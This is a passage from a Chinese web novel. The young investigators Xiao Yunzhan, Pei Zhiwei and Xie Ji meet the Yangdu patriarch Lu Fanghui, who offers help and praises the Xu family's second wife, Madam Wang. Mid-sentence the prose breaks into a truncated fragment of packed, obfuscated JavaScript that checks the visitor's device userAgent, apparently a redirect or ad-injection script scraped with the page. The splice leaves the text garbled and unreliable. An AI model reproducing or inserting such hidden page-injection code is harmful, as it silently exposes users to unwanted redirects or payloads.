三人都是一愣,萧云湛反应最快,对着门外道:“请进。”
门被推开,走进来一位头发花白的老者,穿着一身深蓝色锦袍,脊背挺得笔直,手里握着个墨玉扳指,正是陆氏的家主陆方回。
他一进门就对着三人拱手,刚要弯腰行礼,就被萧云湛笑着拦住。
“陆老爷不必多礼,现在在外头,没那么多规矩,快请坐。”
陆方回顺势坐下,目光扫过桌上的残羹剩饭,忍不住笑着感叹:“年轻真好啊,这才多大一会儿,竟然都吃完了。”
谢霁没觉得有什么,还得意地拍了拍肚子:“那可不!饿了一天了,这点菜算什么?”
萧云湛也只是淡淡笑了笑,裴知微却觉得有点不好意思,脸颊微微发烫,下意识地拢了拢袖口。
陆方回像是没看见她的窘迫,自顾自地往下说:“想当年我年轻的时候,自己就能吃这一桌子。
尤其是长身体那阵子,有时候这一桌子都还不够吃,得再添几碗饭才行。”
说着就对着门外喊,“张诚!再弄些精致点的菜式来!”
萧云湛连忙道:“陆老爷不必麻烦,我们已经吃饱了。”
“哎,这怎么能叫麻烦?”陆方回摆了摆手,语气带着长辈的慈爱。
“你们还年轻,正是长身体的时候,就得多吃些,才能有精神查案。
等上了岁数,想吃都吃不下喽。”
张诚在门外应了声“好嘞”,脚步声渐渐远去。
陆方回这才端起桌上的茶,抿了一口,慢悠悠道:“老夫在府里琢磨了多日,总觉得若是光说谢谢有些太轻。
所以便有话直说了,徐府今日白日里的事情,我也有所耳闻。
到了这个时辰,官府也没贴出结案的榜文,想来这案子还有疑点。
听说三位贵人来了玉壶春。
老夫想着,你们才到扬都不久,人生地不熟的,便来看看,诸位是否有什么需要陆氏帮忙的地方。”
萧云湛和裴知微对视一眼,都从对方眼里看到了惊喜。
他们正对着王氏的事情摸不着门路,陆方回是土生土长的扬都人,说不定真能知道些什么。
萧云湛放下茶杯,语气诚恳:“陆老爷来得真是太是时候了,我们确实有不少疑惑,想向您请教。”
“哪里哪里,”陆方回摆了摆手。
“有什么想问的,尽管问就是。
老夫在扬都活了六十多年,家里又做了这么多年生意,知道的确实比一般人多些,能帮上忙就好。”
萧云湛先开口:“陆老爷对徐家熟吗?”
“熟,怎么不熟?”陆方回笑了笑。
“徐丰衍是咱们大梁首富,我们陆家不少产业都跟他有来往,平日里也常一起喝喝茶、聊聊天,关系还算不错。”
谢霁突然插话,身子往前凑了凑:“那您跟他的继室王氏熟吗?
就是今天被徐仁劫持的那位夫人。”
陆方回点了点头:“她嫁来扬都二十多年,多少也有些接触。
这位徐夫人在扬都的风评很好,待人宽厚,把徐府打理得井井有条。
不管是对徐家人,还是对府里的下人,都挑不出错处。
简直堪称当家主母的典范。”
谢霁皱了皱眉,像是不太相信。
“陆老爷子,您说说,要是您有个亲闺女,以你们陆家现在在淮南的境况,会把她嫁给徐家这样的商户吗?”
陆方回闻言笑了,手指轻轻摩挲着手里的扳指:“谢小侯爷有所不知,南方的大族跟北方的确实不一样。
北方讲究门第,联姻多选同等大族或者官
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|